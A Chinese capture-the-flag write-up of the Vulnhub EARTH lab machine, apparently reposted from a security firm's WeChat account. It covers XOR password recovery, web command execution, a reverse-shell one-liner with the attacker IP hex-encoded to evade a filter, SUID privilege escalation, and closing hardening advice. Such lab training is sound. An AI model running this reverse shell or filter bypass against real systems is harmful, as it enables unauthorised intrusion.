写在前面
靶场名称:Vulnhub EARTH靶场
靶机描述:本文详细记录了EARTH靶场渗透的整个过程,在EARTH靶场上有两个flag:一个user_flag和一个root_flag,需要我们去寻找。在本次渗透过程中涉及到了XOR解密,对于反弹Shell有限制时的绕过方法以及SUID提权的一些方法。
靶场环境:攻击机:kali Linux操作系统,IP地址为:192.168.52.131
1
信息收集
主机发现
masscan -p80 192.168.52.0/24 --min-rate=2000
*左右滑动查看更多
探测到主机IP地址192.168.52.130。
访问web页面,发现页面不正常,我们根据端口扫描信息添加hosts信息。
再次访问,站点加载正常,并且发现了私钥信息。
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
目录扫描
对https://terratest.earth.local进行目录探测,发现存在robots.txt文件。
访问robots.txt文件,发现一个特殊的禁用值/testingnotes.*,我们尝试补充txt后缀进行访问,可以成功访问。
这里得到的信息是加密算法是 XOR ,存在 testdata.txt文件, admin 用户是:terra,访问 testdata.txt 并保存。
对https://earth.local进行目录扫描,发现存在登录页面。
使用刚才得到的用户名terra登录,使用Burp中的Intruder模块进行暴力破解。
爆破无果。
这时我们利用python编写脚本使用上边得到的私钥与 testdata.txt 进行一下 XOR 运算,得到密钥。
import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print((hex(int(data1, 16) ^ int(f, 16))))
脚本运行结果:
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
得到的密钥是重复的,所以只需要选一段进行Hex解码即可得到登录密码:earthclimatechangebad4humans
登录成功,是一个可进行命令执行的页面,在命令执行框内输入id,发现命令成功执行。
最终在/var/earth_web/user_flag.txt中找到了第一个flag信息:
user_flag_3353b67d6437f07ba7d34afd7d2fc27d
2
反弹shell
测试发现在反弹shell的命令中使用IP地址是不行的,这里我们使用16进制将IP地址编码来绕过。
编码之后的命令变为
bash -i >&/dev/tcp/0xc0.0xa8.0x34.0x83/9999 0>&1
*左右滑动查看更多
在kali中监听9999端口,执行命令,成功反弹shell。
3
SUID提权
使用以下命令查看具有root权限的SUID的文件:
find / -user root -perm /4000 2>/dev/null
发现了一个特殊的文件/usr/bin/reset_root
使用strings命令进行查看,发现运行失败。
将reset_root使用nc命令传输到kali中,赋予可执行权限。
使用ltrace命令追踪一下运行时报错信息。
这里发现三个文件
/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe,在目标机器上都未找到这三个文件。
手动创建这三个文件。
再次尝试运行 reset_root 这个指令,发现成功运行,拿到了 root权限,
使用命令
python -c 'import pty; pty.spawn("/bin/bash")'
*左右滑动查看更多
获取一个交互式shell,ls查看,发现了root_flag: root_flag_b0da9554d29db2117b02aa8b66ec492e。
4
防护和加固建议
从安全建设和防御的角度看,为避免同类安全问题出现,安全建议如下:
1.业务系统上线前需做好安全测试,并针对发现的漏洞及时修补,防止业务系统带漏洞上线;
2.针对恶意攻击尝试,建议部署必要的安全产品(比如WAF)进行攻击行为监测、拦截;
3.针对新建业务系统提功能需求时,同步提出安全需求,并落实到安全设计中,如在网页登录页面添加验证码机制,并且必须在服务器端进行校验;
4.定期检查和扫描系统是否存在SUID权限文件,防止SUID的滥用从而导致恶意攻击者轻易获取root权限。
—
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破) | Earth靶场渗透测试过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论